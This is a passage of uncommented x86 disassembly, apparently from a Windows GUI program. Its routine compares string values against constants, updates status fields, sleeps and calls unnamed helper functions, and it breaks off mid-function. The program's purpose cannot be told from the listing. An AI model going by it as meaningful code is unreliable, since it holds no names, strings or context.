mov eax, 0x5c38d4
xor edx, edx
call fcn.004077f4
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5abfac
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x1b4]
call fcn.005978d4
mov eax, dword [ebp - 0x1b4]
xor ecx, ecx
mov edx, 0x5abfe8
call fcn.0059a790
mov edx, dword [ebp - 0x1b0]
mov eax, 0x5c38d0
call fcn.004077f4
lea eax, [ebp - 0x1b8]
call fcn.005978d4
mov edx, dword [ebp - 0x1b8]
mov eax, 0x5c38d4
call fcn.004077f4
lea eax, [ebp - 0x1bc]
mov ecx, dword [0x5c38d4]
mov edx, 0x5abff8
call fcn.00407cc8
mov edx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4dc]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5c38d0]
test eax, eax
je 0x5a8ab6
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x5a8ab6
mov eax, 0x5c38d0
mov edx, dword [0x5c38d0]
call fcn.00406c0c
test eax, eax
je 0x5a8abf
sub eax, 4
mov eax, dword [eax]
cmp eax, 0xc
jne 0x5a8ae1
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8afc
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x1c0]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1c0]
mov edx, 0x5ac010
call fcn.00407ecc
jne 0x5a8c70
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5ac034
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
cmp dword [ebp - 4], 0
je 0x5a8c18
cmp dword [ebp - 8], 0
je 0x5a8c18
mov eax, dword [ebp - 8]
call fcn.00415898
test eax, eax
jl 0x5a8bfd
mov eax, dword [ebp - 8]
call fcn.00415898
cmp eax, 3
jg 0x5a8bfd
mov eax, dword [ebp - 8]
call fcn.00415898
mov edx, eax
mov eax, dword [ebp - 4]
call fcn.00596234
test al, al
je 0x5a8be0
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8c18
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8c18
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [ebp - 4]
call fcn.00415df4
test al, al
jne 0x5a8c3f
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 4], 0
je 0x5a8c4b
cmp dword [ebp - 8], 0
jne 0x5a8c70
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, 0x5ac088
call fcn.004a316c
lea eax, [ebp - 0x1c4]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1c4]
mov edx, 0x5ac1ac
call fcn.00407ecc
jne 0x5a8da5
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x1cc]
push eax
mov ecx, 0x5ac1d0
mov edx, 0x5abc18
mov eax, dword [ebp - 4]
call fcn.0059a790
mov ecx, dword [ebp - 0x1cc]
lea eax, [ebp - 0x1c8]
mov edx, 0x5ac1e4
call fcn.00407cc8
mov edx, dword [ebp - 0x1c8]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
push ebp
push 0x5a8d80
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.005980e8
test al, al
je 0x5a8d5b
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8d76
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8da5
lea eax, [ebp - 0x1d0]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1d0]
mov edx, 0x5ac224
call fcn.00407ecc
jne 0x5a8eda
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x1d8]
push eax
mov ecx, 0x5ac1d0
mov edx, 0x5abc18
mov eax, dword [ebp - 4]
call fcn.0059a790
mov ecx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d4]
mov edx, 0x5ac1e4
call fcn.00407cc8
mov edx, dword [ebp - 0x1d4]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
push ebp
push 0x5a8eb5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00597cc8
test al, al
je 0x5a8e90
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a8eab
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8eda
lea eax, [ebp - 0x1dc]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x1dc]
mov edx, 0x5ac24c
call fcn.00407ecc
jne 0x5a924a
lea edx, [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.00414b0c
cmp dword [ebp - 0x1e0], 0
je 0x5a9057
lea edx, [ebp - 0x1e4]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x1e4]
mov edx, 0x5ac270
call fcn.00407ecc
jne 0x5a9057
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x1e8]
mov ecx, dword [ebp - 4]
mov edx, 0x5ac288
call fcn.00407cc8
mov edx, dword [ebp - 0x1e8]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
push ebp
push 0x5a9032
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5ac2d4
push dword [ebp - 4]
push 0x5ac39c
lea eax, [ebp - 0x1ec]
mov edx, 3
call fcn.00407dac
mov eax, dword [ebp - 0x1ec]
mov edx, 0x5ac3bc
call fcn.0059890c
test al, al
je 0x5a900d
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a9028
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9057
lea edx, [ebp - 0x1f0]
mov eax, dword [ebp - 4]
call fcn.00414b0c
cmp dword [ebp - 0x1f0], 0
je 0x5a919c
lea edx, [ebp - 0x1f4]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x1f4]
mov edx, 0x5ac3e0
call fcn.00407ecc
jne 0x5a919c
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x1f8]
mov ecx, dword [ebp - 4]
mov edx, 0x5ac3f8
call fcn.00407cc8
mov edx, dword [ebp - 0x1f8]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
push ebp
push 0x5a9177
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5ac2d4
push dword [ebp - 4]
push 0x5ac39c
lea eax, [ebp - 0x1fc]
mov edx, 3
call fcn.00407dac
mov eax, dword [ebp - 0x1fc]
call fcn.005980e8
test al, al
je 0x5a9152
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a916d
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a919c
lea edx, [ebp - 0x200]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x200]
mov edx, 0x5ac3e0
call fcn.00407ecc
je 0x5a9201
lea edx, [ebp - 0x204]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x204]
mov edx, 0x5ac270
call fcn.00407ecc
je 0x5a9201
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, 0x5ac448
call fcn.004a316c
lea edx, [ebp - 0x208]
mov eax, dword [ebp - 4]
call fcn.00414b0c
cmp dword [ebp - 0x208], 0
je 0x5a922f
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 8]
call fcn.00414b0c
cmp dword [ebp - 0x20c], 0
jne 0x5a924a
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x210]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x210]
mov edx, 0x5ac558
call fcn.00407ecc
jne 0x5a938f
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
push 0x5ac57c
lea eax, [ebp - 0x218]
push eax
mov ecx, 0x5ac1d0
mov edx, 0x5abc18
mov eax, dword [ebp - 4]
call fcn.0059a790
push dword [ebp - 0x218]
push 0x5ac5c0
push dword [ebp - 8]
lea eax, [ebp - 0x214]
mov edx, 4
call fcn.00407dac
mov edx, dword [ebp - 0x214]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
push ebp
push 0x5a936a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0059890c
test al, al
je 0x5a9345
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a9360
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a938f
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x21c]
mov edx, 0x5ac5d4
call fcn.00407ecc
jne 0x5a94d4
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
push 0x5ac57c
lea eax, [ebp - 0x224]
push eax
mov ecx, 0x5ac1d0
mov edx, 0x5abc18
mov eax, dword [ebp - 4]
call fcn.0059a790
push dword [ebp - 0x224]
push 0x5ac5c0
push dword [ebp - 8]
lea eax, [ebp - 0x220]
mov edx, 4
call fcn.00407dac
mov edx, dword [ebp - 0x220]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
push ebp
push 0x5a94af
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.005984c0
test al, al
je 0x5a948a
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a94a5
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a94d4
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x228]
mov edx, 0x5ac5fc
call fcn.00407ecc
jne 0x5a9562
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [ebp - 4]
call fcn.005a69e0
test al, al
je 0x5a9547
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a9562
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x22c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x22c]
mov edx, 0x5ac618
call fcn.00407ecc
jne 0x5a98d7
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
push 0x5ac63c
push dword [ebp - 4]
push 0x5ac67c
lea eax, [ebp - 0x230]
mov edx, 3
call fcn.00407dac
mov edx, dword [ebp - 0x230]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
lea edx, [ebp - 0x234]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x234]
mov edx, 0x5ac270
call fcn.00407ecc
je 0x5a9668
lea edx, [ebp - 0x238]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x238]
mov edx, 0x5ac3e0
call fcn.00407ecc
je 0x5a9668
lea edx, [ebp - 0x23c]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x23c]
mov edx, 0x5ac694
call fcn.00407ecc
jne 0x5a98b2
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x240]
mov edx, 0x5ac270
call fcn.00407ecc
jne 0x5a96dd
lea edx, [ebp - 0x244]
mov eax, dword [ebp - 4]
call fcn.00599858
mov eax, dword [ebp - 0x244]
call fcn.00415df4
test al, al
je 0x5a96c2
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a96dd
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea edx, [ebp - 0x248]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x248]
mov edx, 0x5ac3e0
call fcn.00407ecc
jne 0x5a9752
lea edx, [ebp - 0x24c]
mov eax, dword [ebp - 4]
call fcn.00599858
mov eax, dword [ebp - 0x24c]
call fcn.00415df4
test al, al
jne 0x5a9737
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a9752
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea edx, [ebp - 0x250]
mov eax, dword [ebp - 8]
call fcn.00414b0c
mov eax, dword [ebp - 0x250]
mov edx, 0x5ac694
call fcn.00407ecc
jne 0x5a98d7
lea edx, [ebp - 0x254]
mov eax, dword [ebp - 4]
call fcn.00599858
mov eax, dword [ebp - 0x254]
call fcn.00415df4
test al, al
je 0x5a9837
push 0x5ac6ac
push dword [ebp - 4]
push 0x5abcbc
push 0x5abcbc
push 0x5ac6d8
lea eax, [ebp - 0x258]
mov edx, 5
call fcn.00407dac
mov edx, dword [ebp - 0x258]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4d0]
mov edx, 0x5ab858
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x640
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed8b4
jmp 0x5a98d7
push 0x5ac6f8
push dword [ebp - 4]
push 0x5abcbc
push 0x5abcbc
push 0x5ac728
lea eax, [ebp - 0x25c]
mov edx, 5
call fcn.00407dac
mov edx, dword [ebp - 0x25c]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x64
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a98d7
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, 0x5ac768
call fcn.004a316c
lea eax, [ebp - 0x260]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x260]
mov edx, 0x5ac88c
call fcn.00407ecc
jne 0x5a99f1
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5ac8bc
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
lea edx, [ebp - 0x264]
mov eax, dword [ebp - 4]
call fcn.00599858
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x20]
call fcn.0059dab8
lea eax, [ebp - 0x268]
mov ecx, dword [0x5c38a4]
mov edx, 0x5ac92c
call fcn.00407cc8
mov edx, dword [ebp - 0x268]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4dc]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov edx, 0x5ac95c
mov eax, dword [0x5c38a4]
call fcn.0044e3a8
test al, al
je 0x5a99d6
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a99f1
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x26c]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x26c]
mov edx, 0x5ac970
call fcn.00407ecc
jne 0x5a9c1b
xor edx, edx
push ebp
push 0x5a9bcc
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5ac994
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, 0x5c387c
xor edx, edx
call fcn.004077f4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4dc]
xor edx, edx
call fcn.004bcc0c
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x428]
mov edx, dword [eax]
call dword [edx + 0x108]
lea edx, [ebp - 0x270]
mov eax, dword [ebp - 4]
call fcn.00599858
mov edx, dword [ebp - 0x270]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x428]
mov eax, dword [eax + 0x2a0]
mov ecx, dword [eax]
call dword [ecx + 0x68]
mov eax, dword [ebp - 8]
call fcn.00415898
mov edx, eax
lea ecx, [ebp - 0x278]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x428]
mov eax, dword [eax + 0x2a0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x278]
lea edx, [ebp - 0x274]
call fcn.00414e6c
mov edx, dword [ebp - 0x274]
mov eax, 0x5c387c
call fcn.004077f4
mov eax, dword [0x5c387c]
test eax, eax
je 0x5a9b2e
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x5a9b2e
mov eax, 0x5c387c
mov edx, dword [0x5c387c]
call fcn.00406c0c
test eax, eax
je 0x5a9b37
sub eax, 4
mov eax, dword [eax]
cmp eax, 0x14
jge 0x5a9b69
mov edx, 0x5ac95c
mov eax, dword [0x5c387c]
call fcn.0044e3a8
test al, al
je 0x5a9b69
mov eax, 0x5c38a4
mov edx, dword [0x5c387c]
call fcn.004077f4
mov eax, dword [0x5c38a4]
call fcn.0059696c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
cmp dword [0x5c387c], 0
je 0x5a9ba7
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5a9bc2
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9bf1
lea eax, [ebp - 0x27c]
mov ecx, dword [0x5c387c]
mov edx, 0x5ac9c8
call fcn.00407cc8
mov edx, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x4dc]
call fcn.004bcc0c
lea eax, [ebp - 0x280]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x280]
mov edx, 0x5ac9ec
call fcn.00407ecc
jne 0x5a9d11
xor eax, eax
push ebp
push 0x5a9cec
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5aca0c
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
call fcn.005974a4
call fcn.005973bc
mov cl, 1
mov dl, 1
mov al, 1
call fcn.00597590
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9d11
lea eax, [ebp - 0x284]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x284]
mov edx, 0x5aca40
call fcn.00407ecc
jne 0x5a9dc9
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [ebp - 4]
call fcn.00407880
push eax
call fcn.00483064
pop edx
call fcn.00482a84
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5aca60
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x288]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
